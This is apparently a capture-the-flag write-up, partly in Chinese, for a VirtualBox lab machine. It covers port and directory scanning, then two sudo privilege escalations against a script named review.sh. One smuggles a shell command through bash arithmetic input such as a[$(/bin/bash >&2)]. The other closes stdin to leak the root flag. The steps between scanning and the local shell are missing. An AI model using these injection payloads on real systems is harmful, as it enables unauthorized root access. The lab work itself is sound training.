root@LAPTOP-O235O5EH [~] ➜ rustscan -a 192.168.100.15 [20:03:10] .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.15:22 Open 192.168.100.15:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 20:03 CST Initiating ARP Ping Scan at 20:03 Scanning 192.168.100.15 [1 port] Completed ARP Ping Scan at 20:03, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:03 Completed Parallel DNS resolution of 1 host. at 20:03, 6.51s elapsed DNS resolution of 1 IPs took 6.51s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0] Initiating SYN Stealth Scan at 20:03 Scanning 192.168.100.15 [2 ports] Discovered open port 80/tcp on 192.168.100.15 Discovered open port 22/tcp on 192.168.100.15 Completed SYN Stealth Scan at 20:03, 0.02s elapsed (2 total ports) Nmap scan report for 192.168.100.15 Host is up, received arp-response (0.00061s latency). Scanned at 2026-01-21 20:03:26 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:FB:37:EB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
root@LAPTOP-O235O5EH [~] ➜ dirsearch -u http://192.168.100.15 [20:03:50] /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
suraxddq@115final:/tmp$ sudo /opt/review.sh Just Type something.
Human Test Number: 235185078105 Please Input Number: a[$(/bin/bash >&2)] root@115final:/tmp# whoami root root@115final:/tmp#
或者
1 2 3 4 5 6 7 8 9
suraxddq@115final:/tmp$ sudo /opt/review.sh Just Type something.
Human Test Number: 92111853617531 Please Input Number: a[`/bin/bash >&2`] root@115final:/tmp# whoami root root@115final:/tmp#
方案二
1
sudo /opt/review.sh <&-
这里会将root.txt读取到Never_Show变量中
变量 Never_Show 此时保存了真正的 Root Flag。
而read Never_Show从stdin中读取内容覆盖Never_Show
那么如果将stdin关闭,那么read 命令尝试访问它时报错。因为读取失败,原本变量里的 Flag 没有被覆盖
1 2 3 4
echo"Just Type something." read Never_Show < /root/root.txt read Never_Show echo"$Never_Show"
1 2 3 4 5 6
suraxddq@115final:/opt$ sudo /opt/review.sh <&- Just Type something. /opt/review.sh: line 6: read: read error: 0: Bad file descriptor flag{root-572867788d8a1a040d74bda364121406} Human Test Number: 20444197425835 /opt/review.sh: line 14: read: read error: 0: Bad file descriptor